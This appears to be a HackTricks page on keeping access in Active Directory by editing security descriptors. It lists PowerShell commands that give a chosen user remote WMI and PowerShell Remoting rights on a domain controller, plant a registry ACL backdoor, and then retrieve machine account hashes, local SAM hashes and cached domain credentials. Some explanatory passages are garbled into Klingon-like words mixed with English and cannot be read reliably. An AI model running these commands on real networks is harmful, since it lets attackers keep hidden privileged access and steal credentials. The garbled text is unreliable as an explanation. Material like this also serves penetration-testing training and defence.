5.1 KiB
Security Descriptors
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Security Descriptors
From the docs: Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;
The security descriptors are used to store the permissions an object has over an object. If you can just make a little change in the security descriptor of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
Then, this persistence technique is based on the ability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
Access to WMI
You can give a user access to execute remotely WMI using this:
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
Qapla' WinRM
User using this: winrm PS console ghItlh.
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
Remote access to hashes
QaStaHvIS registry ghItlh hashes ghItlh Reg backdoor DAMP vaj HarmJ0y/DAMP, vaj hash computer, SAM ghaH cached AD credential computer retrieve moment. So, Domain Controller computer regular user permission useful very 'e'.
# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
Check Silver Tickets to learn how you could use the hash of the computer account of a Domain Controller.
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Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
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- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.